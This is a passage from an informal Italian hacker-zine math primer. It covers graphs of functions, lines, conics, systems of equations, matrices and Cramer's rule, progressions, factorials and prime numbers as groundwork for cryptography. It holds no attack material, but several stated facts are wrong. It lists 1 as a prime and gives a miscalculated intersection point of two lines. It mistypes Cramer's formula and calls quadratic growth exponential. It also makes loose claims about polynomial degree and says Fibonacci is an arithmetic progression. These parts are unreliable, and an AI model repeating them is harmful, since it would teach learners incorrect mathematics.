(vi ricordo che: -1- non sono Raffaello, -2- sono molto sensibile e se fate commenti sui disegnini piango :PPP )
Questi due assi dividono l'area di lavoro in quattro QUADRANTI. Quello in alto a destra è il Primo Quadrante, e gli altri vanno nell'ordine del senso orario. L'asse orizzontale è chiamato "Asse delle Ascisse", e dovete considerarlo come se fosse infinito in un verso e nell'altro. Esso rappresenta infatti la linea dei numeri, dove lo 0 è sull'intersezione degli assi e vi si rappresentano i numeri da meno infinito a più infinito. Stesso identico discorso per l'asse verticale, che si chiama però "Asse delle Ordinate". La differenza è che su quello delle ascisse ci rappresentate le x e su quello delle ordinate le y. Poi "incrociate" le coordinate e trovate dei punti (ehm... spiegarlo è più palloso che capirlo) che rappresentano l'andamento della vostra funzione. Il punto d'intersezione avrà coordinate 0;0 (espresso in x;y da ora in poi le coordinate saranno messe tra parentesi tonde) ed è chiamto Origine. Esempio:

Rappresentare il grafico di una funzione F: y = -2x - 1

Si fa innanzitutto la tabella.

x | y
---+---
-2 | 5
-1 | 3
0 | 1
1 | -1
2 | -3

Poi si trovano i punti sul piano cartesiano (ogni 2 spazi = 1 unità)

^
@...+
. |
.@ |
. |
. @.+
. . |
. .@|
. . |
. . @
. . .
----+-+-+@+-+---->
| . .
+.@ .
| .
| @.
| .
+...@
|
|

Ed ecco il grafico della funzione: una retta obliqua che attraversa le Ascisse poco più a destra dell'Origine. Ma naturalmente è possibile che vi imbattiate in grafici molto più strani. Tipo:

^
@ |
@ 1 @4@ @
@ |@ @ @
@ @ @ @
@ @| @ @
@ @ | @ @
@ @ | @ @
----@-----@--+------@---------@->
@ @ | @ @
@3@ 2 @ @
| @@ @@
| @5@
|

Questa raffigurata è una funzione di 4° grado. Da cosa si capisce? Semplice. Una funzione di 4° grado implica che le y possano essere generate da 4 x contemporaneamente. Questo significa che se riuscite a tracciare una linea orizzontale che interseca la curva della funzione in 4 punti contemporaneamente, allora avete la prova che la funzione è ALMENO di 4° grado. In questo caso una di queste linee non è altro che l'asse delle ascisse, ma ne potete tracciare infinite a partire dal punto indicato con 1 fino al punto 2, tanto ne basta una sola e saprete che la funzione è minimo di quarto grado. O, più immediatamente, vi basta contare il numero di "anse" che traccia il grafico. In questo caso tali anse sono rappresentate dai punti 3, 4 e 5. Il grado della funzione è almeno {[numero di anse] + 1}. Da notare che abbiamo detto che una funzione di 4° grado ha SEMPRE 4 x per ogni y.

<lettore> stò cazzo! Se tracci una linea al di fuori dei punti 1 e 2 ne trovi di meno!

E infatti in quei punti le x non sono Reali, ma vanno rappresentate sul piano di Argand-Gauss (cosa che, a grande richiesta del pubblico, non farò...). I punti in cui il grafico interseca l'asse delle ascisse si chiamno "zeri" della funzione - e una funzione ne ha tanti quanto è il suo grado. In questo caso abbiamo quattro zeri reali. Badate che raramente basta utilizzare questi "trucchetti grafici" per individuare il grado, spesso bisogna fare un'analisi + approfondita. Per esempio, i seguenti grafici:

^
@ | @
@ | @
@ | @
@ | @
@ | @
---------@---+---@--------->
@@ | @@
@@@
|


^
@ | @
@ | @
@ | @
@ | @
@ | @
------@@-----+-----@@----->
@@@@@@@@@@@
|

sembrerebbero entrambi rappresentare una funzione di 2° grado. In realtà il secondo si addice di + ad una funzione di 4°. E' più difficile da spiegare che da capire, ma a noi basta sapere che è così perchè le curve sono "più strette", e in generale: più le curve si "impennano" velocemente e + è alto il grado di una funzione.
In una funzione, però, la cosa VERAMENTE importante è sapere se è a GRADO PARI o DISPARI, e fortunatamente questo si vede facilmente dal grafico. In pratica: una funzione a grado dispari, tipo y = 4x^3 - 2x + 1 ha la particolarità che le sue y possono assumere qualsiasi valore e poter comunque essere generate da almeno una x reale. Cosa che, come abbiamo visto nella funzione di 4° grado di prima, non avviene con quelle di grado pari, che spaziano sempre un certo range a seconda del segno che c'è davanti al coefficiente (moltiplicatore) della x con l'esponente + alto. Ossia:

-SE IL COEFFICIENTE E' POSITIVO es.: y = 2x^4 - x + 5
I valori possibili vanno da più infinito ad un valore minimo che dipende dalla funzione. La funzione parte da infinito, poi scende, fa più o meno anse a seconda del suo grado toccando un certo minimo e quindi risale a infinito. Il grafico avrà l'aspetto di una curva (regolare o meno) la cui concavità è rivolta verso l'alto.

-SE IL COEFFICIENTE E' NEGATIVO es.: y = -x^4 - x + 5
Esattamente l'opposto. I valori possibili vanno da meno infinito ad un valore massimo che dipende dalla funzione. La funzione parte da -infinito, poi sale, fa più o meno anse a seconda del suo grado toccando un certo massimo e quindi riscende a -infinito. Il grafico avrà l'aspetto di una curva (regolare o meno) la cui concavità è rivolta verso il basso.

Tutto ciò per una funzione a grado pari. Una funzione a grado dispari invece non assume l'aspetto di una "coppa", non ha cioè una concavità perchè va sempre da infinito a -infinito o viceversa, ma ha una "direzione" a seconda del segno del coefficiente della x coll'esponente + alto. Ossia:

-SE IL COEFFICIENTE E' POSITIVO es.: y = x^5 + x^4 - 325
I valori possibili vanno (da sinistra a destra) da meno infinito a più infinito. La funzione parte da -infinito, poi sale, fa più o meno anse a seconda del suo grado e quindi sale ancora a infinito. Il grafico avrà l'aspetto di una curva (regolare o meno) con un andamento globale in "diagonale" che attraversa principalmente il 1° e il 3° quadrante.

-SE IL COEFFICIENTE E' NEGATIVO es.: y = -6x^3 + 3
Esattamente l'opposto. I valori possibili vanno (da sinistra a destra) da più infinito a meno infinito. La funzione parte da infinito, poi scende, fa più o meno anse a seconda del suo grado e quindi scende ancora a -infinito. Il grafico avrà l'aspetto di una curva (regolare o meno) con un andamento globale in "diagonale" che attraversa principalmente il 2° e il 4° quadrante.

Queste differenze dipendono dalle regole sulle operazioni con segni diversi. In pratica: se moltiplicate due numeri con segno uguale (entrambi positivi o entrambi negativi) ottenete SEMPRE un numero positivo, se moltiplicate due numeri con segno diverso il risultato è SEMPRE negativo (e questo vale anche per la divisione). Un'elevamento a potenza non è altro che una serie di moltiplicazioni, no? Ma allora se ad essere elevato è un numero negativo, il segno del risultato dipende dalla parità dell'esponente: se io prendo un numero negativo e lo moltiplico per sè stesso (elevamento al quadrato -> esponente pari) ottengo un numero positivo. Se lo moltiplico di nuovo per sè stesso però (elevamento al cubo -> esponente dispari) eseguo una moltiplicazione tra un numero positivo e quello originale che era negativo, e quindi il risultato è negativo! Se lo moltiplico ancora per sè stesso (elevamento alla quarta -> esponente pari) lo riottengo positivo e così via... In pratica gli elevamenti a esponente pari hanno la proprietà di dare in uscita sempre un valore positivo, e quindi sul grafico di "reindirizzare all'indietro" l'andamento mantenuto fino ad allora, e di conseguenza creano delle concavità. Ed ecco anche perchè le radici ad indici pari dei numeri negativi non hanno soluzioni in R.


[Funzioni Lineari]
Si dicono Funzioni Lineari tutte quelle funzioni che sul grafico tracciano una linea retta, e quindi in pratica tutte quelle di primo grado (tralasciamo quelle di grado 0). La forma "canonica" di una funzione di primo grado è:

y = mx + q

dove m e q sono i PARAMETRI della retta e possono essere positivi o negativi. Cioè se trovate scritto: y = -3x - 5 non fate i lameroni e dite "ah, no! Questa non è una retta perchè c'ha i segni meno", capito?!! Due paroline sulla q: in ogni funzione potete trovare un parametro che non moltiplica nessuna x (o meglio, moltiplica per 1, cioè x^0), in questo caso è la q ma si può indicare con qsiasi lettera. Tale parametro è chiamato TERMINE NOTO, e quando è assente (cioè è 0) significa che la funzione passa per l'origine. Poi parliamo della m. In una funzione lineare essa è chiamata COEFFICIENTE ANGOLARE e dà in pratica l'inclinazione della retta: più è alto e più la retta è verticale; se è positivo la retta passa di sicuro per il 1° e per il 3° quadrante, sennò per il 2° e il 4°. E se è 0? La retta assume l'equazione:

y = q

Che è una funzione di grado 0 ed è parallela all'asse delle ascisse. Una retta con coefficiente angolare pari a 1 (o -1) ha un'inclinazione di 45°. Se in più non ha il termine noto, passa per l'origine e quindi divide i quadranti in cui passa in due metà perfette. E allora la retta di equazione:

y = x

è chiamata BISETTRICE DEL 1° E 3° QUADRANTE, mentre quella con equazione:

y = -x

è chiamata BISETTRICE DEL 2° E 4° QUADRANTE.
Se volete trovare una retta che sia perpendicolare ad una nota, la q non vi interessa ma vi interessa il coefficiente angolare. Il coefficiente angolare di una retta perpendicolare ad una con coefficiente angolare m è l'INVERSO DEL RECIPROCO DI m, cioè: -(1/m).

Questa digressione sulle rette ci interessa principalmente per chiarire il concetto di PROPORZIONALITA' DIRETTA. Due grandezze stanno tra di loro in proporzionalità diretta quando la relazione che li unisce è una funzione di 1° grado, e quindi ad un certo aumento di x corrisponde sempre un aumento costante di y.


[Funzioni Non Lineari]
Una funzione non lineare è una qualsiasi funzione di grado non 1. A noi per ora interessano solo due tipi di funzioni non lineari: la parabola e l'iperbole. Sono entrambe funzioni di 2° grado e fanno parte di quella categoria di curve dette "CONICHE", perchè vengono generate quando un cono viene "segato" da un piano: a seconda della posizione del piano rispetto al cono si possono generare circonferenze, ellissi, parabole o iperboli. Tra parabola e iperbole ci sono però delle differenze; andiamo a vedere quali.

Graficamente una PARABOLA è il LUOGO GEOMETRICO (cioè l'insieme su un grafico) dei punti che godono della proprietà di essere situati alla stessa distanza da un punto particolare (chiamato FUOCO della parabola) e da una retta (chiamata DIRETTRICE). Proviamo a disegnare una situazione del genere:

. .
. .
. .
. .
. .
. F-------.
... ...|
....V.... |
|
~~~~~~~~~~~~~~~~D~~~~~~~+~~~~~~~~~

(i trattini indicano le distanze uguali). Se cercate di immaginarvelo vedrete che più il fuoco (F) si allontana dalla direttrice (D) e più la parabola viene acuta. Il punto V è chiamato VERTICE della parabola e gode della proprietà di trovarsi a metà strada esatta tra fuoco e direttrice. Fisicamente la parabola gode anche di un'altra proprietà: tutti i "raggi" che entrano perpendicolari nella sua concavità, quando "vanno a sbattere" contro le sue pareti vengono sempre riflessi verso il fuoco (e questa proprietà è sfruttata in ottica negli specchi dei telescopi e in radioelettronica sulle antenne paraboliche per concentrare fasci di luce o di onde radio su un unico punto).
Algebricamente, invece, una parabola è un'equazione di 2° grado in x. Essa assume la forma canonica di un'equazione di 2° grado, ovvero:

y = ax^2 + bx + c

dove a, b e c sono i parametri della funzione e c è anche il termine noto. Come abbiamo già detto, se la a è positiva la parabola ha la concavità rivolta verso l'alto, altrimenti verso il basso. Esiste una formula molto importante per trovare gli zeri di questa funzione, che permette in pratica di risolvere tutte le equazioni di 2° grado ad una incognita, tipo:

3x^2 - 5x + 12 = 0

Per trovare il valore (o I VALORI visto che è di 2° grado) della x si usa la seguente formula:

-b ± sqr(b^2 - 4ac)
x = -------------------
2a

Mi sa che vi devo qualche spiegazione (eheheh, bellino il ± trovato sul charmap, eh?). Innanzitutto spostiamo la nostra attenzione sul binomio sotto radice, cioè b^2 - 4ac. Questo si chiama DISCRIMINANTE dell'equazione ed è molto importante xchè ci dice subito quante soluzioni troveremo: se è negativo non troveremo nessuna soluzione reale (radice di un numero negativo = non R), graficamente avremo che la parabola non tocca l'asse delle ascisse e quindi non ha zeri reali. Se è positivo invece, quando andremo a effettuare la radice troveremo due soluzioni, una positiva ed una negativa (ed ecco perchè il ±, cioè "più o meno"), a quel punto bisogna rifare la formula DUE VOLTE, una volta considerando solo il valore positivo e una volta quello negativo: troveremo due risultati che sono gli zeri dell'equazione (graficamente avremo che la parabola interseca le ascisse in due punti). Ma può anche capitare che il discriminante sia 0. A quel punto fare + o fare - non fa differenza, perchè tanto troveremo un solo risultato: -b/2a, graficamente avremo che la parabola è TANGENTE (cioè "tocca" in un solo punto, e precisamente col vertice) all'asse delle ascisse. Spostiamo la nostra attenzione su una parabola semplicissima, senza b e c ma solo a=1, di equazione y = x^2, e consideriamo solo il primo quadrante:

^ @
|
| @
| @
| @
| @
@------------->

Come vedete l'andamento della y non è direttamente proporzionale a quello della x: all'inizio crescono quasi di pari passo, ma più si va avanti e più basta un piccolo aumento della x per causare un brusco innalzamento della y. Questo andamento è detto ESPONENZIALE, si verifica in qualsiasi funzione non-lineare e in genere (ma non sempre) è sottointeso QUADRATICO, cioè derivante da una funzione di 2° grado.


Per l'Iperbole invece dovremo fare altre considerazioni.
Graficamente un'IPERBOLE è il luogo geometrico dei punti (e qui attaccate il cervello...) LA CUI DIFFERENZA TRA LE DISTANZE TRA DUE PUNTI DETTI FUOCHI E' COSTANTE. E' una sega non indifferente, quindi (a grandissima richiesta del pubblico...) NON FARO' il disegno, tanto avete capito no? :P
Comunque il disegno viene qualcosa di simile a due parabole stese per orizzontale o per verticale, coi vertici che si "guardano" uno di fronte all'altro, simmetriche rispetto all'asse delle ordinate o delle ascisse, se orizzontali quella destra con la concavità rivolta verso destra e quella di sx verso sx, sennò quella in alto verso l'alto e viceversa. Intesa in questo senso, l'equazione di un'iperbole con centro in O è algebricamente diversa da quella di una parabola, xchè è un'equazione di secondo grado sia in x che in y, è infatti così:

FUOCHI SULL'ASSE x (orizzontale): x^2/a^2 - y^2/b^2 = 1

FUOCHI SULL'ASSE y (verticale): -x^2/a^2 + y^2/b^2 = 1

Pretty casino, eh? Ma no worry, bicos a noi of this don't ce ne frega one minkia. Stà fottutissima formula implica un sacco di altre formulette per trovare fuochi, eccentricità e asintoti che ci farebbero skiattare prima del tempo. E oltretutto, intesa in questo modo l'iperbole non ci sarebbe di nessuna utilità...
Fortunatamente c'è un'altro modo in cui si può considerare un'iperbole, la cui formula è molto più semplice, utile e immediata. Forse non è proprio il massimo dell'ortodossia ma a noi serve più considerarla così:

L'IPERBOLE E' IL LUOGO GEOMETRICO DEI PUNTI CHE INDIVIDUANO RETTANGOLI CON AREE UGUALI.

Rappresentata sul primo quadrante viene così:

^ *
| *
| *
|--@
|//|**
|//| **
|--+----@**
|XX|\\\\| ****
+-------------->

(più o meno... spero di aver reso l'idea), e esattamente simmetrica sul terzo quadrante, in pratica non abbiamo fatto altro che "ruotare" di 45° il bastardo grafico di prima. Intesa così l'equazione dell'iperbole diventa una semplice:

y = k/x

o, per meglio dire:

y * x = k

Come vedete questo andamento ha una particolarità: man mano che la x aumenta la y DIMINUISCE, ma non diventa MAI 0. Questo tipo di relazione è chiamata PROPORZIONALITA' INVERSA e significa che il prodotto tra due variabili è costante (in questo caso è k). Chiariamo anche il concetto di ASINTOTO: un'asintoto è una retta alla quale il grafico di una funzione si avvicina sempre di più SENZA MAI TOCCARLO. In questo caso gli asintoti dell'iperbole sono rappresentati dagli assi cartesiani.


============================
*** SISTEMI DI EQUAZIONI ***
============================
Facciamo un giochino...

€ + € + ¥ = $

£ + £ - ¥ - ¥ = € + €

£ - ¥ - ¥ = $ - € - €

£ + ¥ = $ - ?

Classico indovinello: che simbolo ci va al posto del "?" ?
Fermi tutti, per carità! Lo so che siete intelligenti e avete una velocità di calcolo mostruosa, ma posate subito carta e penna e ascoltatemi! Per una volta cerchiamo di evitare il brute-forcing e facciamo le cose x benino :PPP
Quello che avete di fronte è un "set" di 4 equazioni. In tutto ci sono 5 incognite e fate bene attenzione a questo: se a voi interessa solo trovare l'incognita da mettere in un certo posto, e NON il valore stesso dell'incognita (esattamente come in questo caso), allora per risolvere il problema vi possono bastare anche solo un paio di equazioni, dipende da come sono fatte. Ma se vi interessa trovare i valori il discorso cambia, perchè vi serve almeno un'equazione per ogni incognita e un termine noto da cui "partire" (ogni equazione in più che rispetta i valori delle incognite ci dà infatti "un'informazione in più" su cui lavorare e ci facilita il compito), e questo significa che in quel caso non avreste potuto risolvere questo indovinello.
Lo strumento matematico che ci permette di risolvere questa categoria di problemi è il SISTEMA (motto anarkiko ripreso da windowz: ARRESTA IL SISTEMA!!! ;) ). Un sistema si usa ogni volta che alcune cose devono verificarsi CONTEMPORANEAMENTE. In matematica vi possono capitare cose simili quando dovete trovare il valore di un'incognita di cui sapete solo che ha una certa relazione con altre incognite: non potete andare a calcolare subito il valore della prima incognita, e spesso non potete nemmeno calcolare prima il valore delle altre, ma dovete farlo CONTEMPORANEAMENTE. Esempio:

a + c = 2b
2a + 2b - 1 = 2c + 1
c = 2a + 1

Quali sono i valori di a, b e c? Questo è proprio il caso di cui parlavamo: non abbiamo nessun "punto di partenza" che ci permetta di calcolare subito a, b oppure c. E in generale non si può usare un brute-forcing, Cristo! Pensate se fossero state una decina di incognite e quindi una decina d'equazioni! Nono, bisogna giocare d'astuzia, e precisamente col METODO DELLE SOSTITUZIONI. Un sistema si indica con una parentesi graffa aperta { molto grande, alla cui destra ci scrivete il vostro sistema di equazioni:
_
/
| a + c = 2b
< 2a + 2b - 1 = 2c + 1
| c = 2a + 1
\_

poi se ne mette un'altra alla destra del sistema e si comincia a sostituire; a ogni sostituzione che fate rimettete una graffa e riscrivete il nuovo sistema (all'occorrenza andando a capo). Ma che significa "sostituire"? In pratica significa, se non se ne ha la possibilità, di NON LAVORARE COI NUMERI, ma direttamente con le incognite, lasciando indicati i risultati che non riusciamo a calcolare. Ad esempio, in questo caso la relazione 3 ci dà un buon punto di partenza per la c, e allora noi andremo a sostituire questa uguaglianza all'interno della relazione 2, proprio dove c'è la c:
_ _
/ /
| a + c = 2b | a + c = 2b
< 2a + 2b - 1 = 2c + 1 < 2a + 2b - 1 = 2(2a + 1) + 1
| c = 2a + 1 | c = 2a + 1
\_ \_

E tanto per cominciare abbiamo ridotto la 2 da un'equazione in 3 incognite ad una in 2, e ora possiamo continuare a semplificarla:
_ _
/ /
| a + c = 2b | a + c = 2b
< 2a + 2b - 1 = 2(2a + 1) + 1 < 2a + 2b - 1 = 4a + 2 + 1
| c = 2a + 1 | c = 2a + 1
\_ \_
_ _
/ /
| a + c = 2b | a + c = 2b
< 2b = 2a + 4 < a = b - 2
| c = 2a + 1 | c = 2a + 1
\_ \_

Ed ora? Non abbiamo trovato ancora il valore diretto di niente, ma abbiamo un ottimo "appiglio" per la a. Proviamo a sostituire queste due uguaglianze nella relazione 3 al posto di a e c:
_ _
/ /
| b - 2 + 2a + 1 = 2b | b - 2 + 2(b - 2) + 1 = 2b
< a = b - 2 < a = b - 2
| c = 2a + 1 | c = 2a + 1
\_ \_
_ _
/ /
| b - 2 + 2b - 3 = 2b | b = 5
< a = b - 2 < a = b - 2
| c = 2a + 1 | c = 2a + 1
\_ \_

Tombola! Abbiamo la b. Da adesso sarà sempre più semplice.
_ _ _
/ / /
| b = 5 | b = 5 | b = 5
< a = b - 2 < a = 3 < a = 3
| c = 2a + 1 | c = 2(3) + 1 | c = 7
\_ \_ \_

Finito. Semplice no?
Si risolve in questo modo anche il giochino di prima, e precisamente partendo dal $ sulla 1 e sostituendolo nella 4:

1) € + € + ¥ = $
2) £ + £ - ¥ - ¥ = € + €
3) £ - ¥ - ¥ = $ - € - €
4) £ + ¥ = $ - ?

4) £ + ¥ = € + € + ¥ - ?

Si tolgono i simboli uguali a sinistra e destra dell'uguale ( + ¥):

4) £ = € + € - ?

a questo punto scriviamola in ? (cambiando segno a tutte le incognite che passano da una parte all'altra dell'uguale)

4) ? = € + € - £

Sostituiamo € + € con quello che c'è scritto nella 2:

4) ? = £ + £ - ¥ - ¥ - £

Semplifichiamo:

4) ? = £ - ¥ - ¥

Sostituiamo £ - ¥ - ¥ con quel che c'è scritto nella 3:

4) ? = $ - € - €

Risostituiamo come abbiamo fatto prima i valori di $:

4) ? = € + € + ¥ - € - €

Semplifichiamo:

4) ? = ¥

E il gioco è fatto! Per curiosità ecco i valori esatti:

€=2
¥=1
£=3
$=5

Ganzo eh?
In matematica i Sistemi sono importantissimi per un mucchio di cose. Mettiamo caso ad esempio che, date due rette, vogliate conoscere il loro punto d'intersezione. Geometricamente un punto d'intersezione è un punto che fa parte di ENTRAMBE le rette. Ma allora algebricamente significa che le sue coordinate devono soddisfare entrambe le funzioni delle due rette, no? E allora innanzitutto scriviamo le equazioni delle rette che chiameremo r ed r':

r: y = 2x - 4

r': y = -x + 12

Visto che nel punto che dobbiamo trovare queste due condizioni valgono contemporaneamente le mettiamo sotto sistema:
_
/
| y = 2x - 4
<
| y = -x + 12
\_

Risolvendo questo sistema otterrete x e y, che altro non sono che le coordinate del punto d'intersezione. Il punto P di intersezione se ho fatto bene i conti è P(8/3;28/3).


=========================
*** VETTORI E MATRICI ***
=========================
Sigh... NON FINIREMO MAIIIII!!!!
Zob... ma che ci posso fare io? Io glie l'ho detto "le spiegazioni di base posso evitarle se volete", e loro: "nono, lasciale! OQ è x newbies..." :PPPPPPPP
(e tanto sennò io ke scrivevo?...)
MA HO UNA BUONA NOTIZIA X TUTTI VOI!!! LA ROBA PALLOSA STA FINENDO!!! :DDD

In questo paragrafo introduciamo l'uso delle MATRICI. Nella matematica non avete idea dell'importanza che assumono le matrici, e a dire il vero non ce l'ho neanch'io... Skerzi a parte, io finora non mi sono mai trovato a dover fare un uso intensivo delle matrici, ma prima o poi mi voglio documentare sugli algoritmi di fattorizzazione e su altre cosette E LI' SERVONO TANTO! A noi x ora ce ne importa poco (a meno che in futuro... ma no, non parliamone! ;), ma una breve introduzione sarà molto utile. Il problema è che anche una breve introduzione deve comprendere cosette kative ma, come dico sempre, il Tempo è Denaro ma soprattutto è Tempo... e nel nostro caso è anche poco! E quindi da ora andremo velocetti, percui vi dico:

OVERCLOCKATEVI IL CERVELLO!

[Matrici]
Una matrice è una "tabella" di elementi. Può essere a quante dimensioni volete, se è a una dimensione più che una tabella è una "striscia" di elementi e si chiama VETTORE. Normalmente per "matrice" si intende comunemente una tabella bidimensionale, se oltre ad essere bidimensionale ha tante righe quante colonne si dice "matrice QUADRATA" (o CUBICA se tridimensionale). Una matrice si indica racchiudendo tra parentesi tonde grosse (tipo sui sistemi) gli elementi che ne fanno parte, es:
_ _
/ \
| a b |
| |
| c d |
\_ _/

Matrice quadrata 2 x 2. L'operazione più importante che si effettua su una matrice è il DETRMINANTE che si indica come la matrice ma con delle barre verticali al posto delle parentesi:
_ _
/ \ | |
| a b | | a b |
Determinante di | | = | |
| c d | | c d |
\_ _/ | |

Il Determinante in una matrice 2 x 2 si calcola così: a*d - b*c.

[Formula di Cramer]
Serve principalmente a risolvere i sistemi molto grossi. Io so solo come si applica per risolvere sistemi di primo grado con due equazioni a due incognite (il tipico caso dell'intersezione di rette). Si scrivono le due equazioni in questa forma:

ax + by = c

Ax + By = C

A questo punto la x e la y si trovano con un rapporto di determinanti:

| | | |
| c b | | a c |
| | | |
| C B | | A C |
| | | |
x = --------------- y = ---------------
| | | |
| a b | | a b |
| | | |
| A B | | A B |
| | | |

E quindi:

x = (c*B - b*C) / (a*B - b*A)
y = (a*C - c*A) / (a*B - B*a)

Ovviamente per un sistema di questo genere è molto più semplice il metodo delle sostituzioni, ma la formula di Cramer ha diversi utilizzi anche in altri campi (goniometria ad esempio).
Adesso una nota particolare: vi può capitare di trovarvi ad affrontare un problema di questo genere:

"10 tennisti si devono affrontare in un campionato. Quante partite in tutto si dovranno disputare per far sì che ogni tennista incontri una sola volta tutti e 9 i suoi avversari?"

Io non ho mai letto da nessuna parte come affrontare algebricamente questo problema, ma ho trovato una formula che funziona. Sicuramente è un'operazione che esiste già (eheheh... oppure l'ho scoperta io :PPP) ma non so come si chiama, se lo sapete contattatemi, fino ad allora la chiamerò operazione di "Incrocio Singolo". L'idea parte da una matrice quadrata di lato k (numero di varianti, tennisti in questo caso) nei cui indici sono riportati gli elementi e nelle caselle le coppie di elementi corrispondenti che si incrociano (tipo coordinate): se i tennisti sono le prime lettere dell'alfabeto si avrà:

|A B C D E F G H I L
--+-----------------------------
A |AA AB AC AD AE AF AG AH AI AL
|
B |BA BB BC BD BE BF BG BH BI BL
|
C |CA CB CC CD CE CF CG CH CI CL
|
D |DA DB DC DD DE DF DG DH DI DL
|
E |EA EB EC ED EE EF EG EH EI EL
|
F |FA FB FC FD FE FF FG FH FI FL
|
G |GA GB GC GD GE GF GG GH GI GL
|
H |HA HB HC HD HE HF HG HH HI HL
|
I |IA IB IC ID IE IF IG IH II IL
|
L |LA LB LC LD LE LF LG LH LI LL

Il numero degli incontri finora è k^2. Ma dobbiamo innazitutto togliere la diagonale principale, dove ogni elemento si incrocia con sè stesso:

|A B C D E F G H I L
--+-----------------------------
A | AB AC AD AE AF AG AH AI AL
|
B |BA BC BD BE BF BG BH BI BL
|
C |CA CB CD CE CF CG CH CI CL
|
D |DA DB DC DE DF DG DH DI DL
|
E |EA EB EC ED EF EG EH EI EL
|
F |FA FB FC FD FE FG FH FI FL
|
G |GA GB GC GD GE GF GH GI GL
|
H |HA HB HC HD HE HF HG HI HL
|
I |IA IB IC ID IE IF IG IH IL
|
L |LA LB LC LD LE LF LG LH LI

E adesso osservate bene: la tabella è divisa in due metà simmetriche lungo la diagonale, cioè in ogni metà ci sono gli stessi incontri (cosa che a noi non serve). Per trovare il risultato finale basta dividere il numero di incontri trovato finora per 2. E allora IncrocioSingolo(k) sarà:

(k^2 - k)/2 oppure anche k*(k-1)/2


============================
*** IL CALCOLO ITERATIVO ***
============================
Il Calcolo Iterativo è un tipo di calcolo in cui per trovare il risultato di un'operazione non si può fare un procedimento diretto e lineare, ma bisogna andare per ITERAZIONI, cioè per cicli. Il classico esempio sono le PROGRESSIONI. Una Progressione può essere ARITMETICA o GEOMETRICA.
Una Progressione Aritmetica è una successione di elementi "a" tali che, stabilito il primo elemento a(1), gli altri elementi si ottengono sommando all'elemento precedente un valore q detto RAGIONE:

a(2) = a(1) + q
a(3) = a(2) + q

e così via. Per trovare il valore di un elemento di posizione k conoscendo a(1) e q bisogna fare:

a(k) = a(1) + q * (k - 1)

e quindi è abbastanza immediato e non poi così tanto "iterativo". Per le progressioni Geometriche stessa cosa, solo che invece che addizionare si moltiplica:

a(2) = a(1) * q
a(3) = a(2) * q

e così via. Per trovare il valore di un elemento di posizione k conoscendo a(1) e q bisogna fare:

a(k) = a(1) * q^(k - 1)

e quindi è anche qui abbastanza immediato. Queste altre due che vedremo invece non sono così immediate e rappresentano il Calcolo Iterativo vero e proprio, e sono la Serie di Fibonacci e il Fattoriale.

[Serie di Fibonacci]
E' una Progressione Aritmetica in cui la q non è costante, ma assume il valore dell'elemento precedente. Si parte colla successione 0, 1. Il terzo elemento sarà 1 + 0 e quindi ancora 1. Il quarto sarà 1 + 1 e quindi 2. Poi 3 e così via:

0 1 1 2 3 5 8 13 21 34 55 89...

La serie di Fibonacci ha utilizzo, mi pare, per risolvere problemi legati a particolari curve del quarto ordine.

[Fattoriale]
Questo per noi è molto più importante. L'operazione di Fattoriale si indica col simbolo ! ovvero:

Fattoriale di un numero k --> k!

ed è in pratica una progressione geometrica in cui la q è rappresentata man mano dai numeri da 1 a k, cioè:

1! = 1
2! = 1 * 2 = 2
3! = 1 * 2 * 3 = 6
4! = 1 * 2 * 3 * 4 = 24

e così via. Il Fattoriale è di importanza fondamentale nella crittografia x quanto riguarda gli anagrammi, ovvero: data una sequenza di elementi (lettere, numeri o caratteri ASCII) di lunghezza N, ci sono N! possibili anagrammi di quella sequenza.


==============================
*** LE FUNZIONI PERIODICHE ***
==============================
Una funzione periodica è una funzione in cui, man mano che aumenta la x, la y oscilla sempre tra un valore minimo e uno massimo. Un classico esempio sono le funzioni goniometriche, quelle cioè in Seno, Coseno, Tangente e cazzi vari. Tanto per fare un esempio la funzione y = cos(x) ha un classico andamento a SINUSOIDE, cioè a "onda" (non quadra eh? :PPP) e la y va sempre da 1 a -1:

^
|
@@@.......1
@@ | @@ @@
@ | @ @
@-------@----+----@-------@--->
@@ @@ | @@ @@
@@@ | @@@......-1
|

Sulla goniometria ci sarebbero da scrivere tre o quattro e-zines, quindi (ad ancor più grande richiesta del pubblico) NON LA TRATTEREMO... (anche xchè mi sta discretamente sui maroni e non ci è praticamente di nessuna utilità). La cosa importante è aver chiarito il concetto di "funzione periodica" perchè, udite-udite, anche le funzioni modulari sono periodiche (anche se bisogna vedere QUANTO periodiche eheheheh... sennò l'RSA mica funzionava!).


============================================
*** INTERVALLO TANTO PER RESTARE IN TEMA ***
============================================

+ me lo -,
+ vengo -.
x non venir + -
non me lo - +,
o, x lo -,
me lo - di -.


============================
*** LA TEORIA DEI NUMERI ***
============================
"Parte della matematica che ha per oggetto i numeri interi e inoltre entità matematiche dotate di proprietà formali analoghe a quelle degli interi." (Enciclopedia delle Scienze ********, anno 1989... praticamente una Bibbia :)
Ma questo che significa? In pratica la Teoria dei Numeri è quella cosetta tanto bula che studiano i ragassuoli buli... Alcuni dei classici problemi trattati dalla Teoria dei Numeri comprendono lo studio delle congruenze, delle proprietà dei numeri e delle approssimazioni. Alcuni prblemi sono trattati sotto forma di congetture, cioè non dimostrate, tipo la "Congettura di Goldbach" (ogni numero pari si può ottenere come somma di due numeri primi) e il "Grande Teorema di Fermat" (non esiste nessuna terna di numeri A, B e C diversi da 0 tali che A^n + B^n = C^n se n è maggiore o uguale a 3), conosciuto anche col nome di "Ultimo Teorema di Fermat", il quale sembra essere stato finalmente dimostrato (dopo 300 anni!) recentemente da un professore statunitense tramite un procedimento immondo... Sono numerose, tra le questioni trattate, quelle legate allo studio delle funzioni di variabile complessa, come la fattorizzazione e la distribuzione dei numeri primi nella successione dei numeri natural

  
i. Bene... è finalmente ora di parlare di Numeri Primi & related.


[I Numeri Primi]
Un Numero Primo è un numero (STIAMO SEMPRE LAVORANDO SOLO E SOLTANTO CON GLI INTERI) che è divisibile solo per 1 e per sè stesso, se è divisibile per altri numeri si dice COMPOSTO. Un numero composto si può scrivere sempre come moltiplicazione di due o più numeri primi:

15(composto) = 3(primo) * 5(primo)

3 e 5 sono i FATTORI di 15. L'operazione che permette di trovare i fattori di un numero è chiamata FATTORIZZAZIONE, e nonostante tutti i progressi fatti finora, come vedremo è a tutt'oggi un Problema Intrattabile x numeri molto grossi.
La sequenza dei numeri primi parte così:

1 2 3 5 7 11 13 17 19 23 29 31 ...

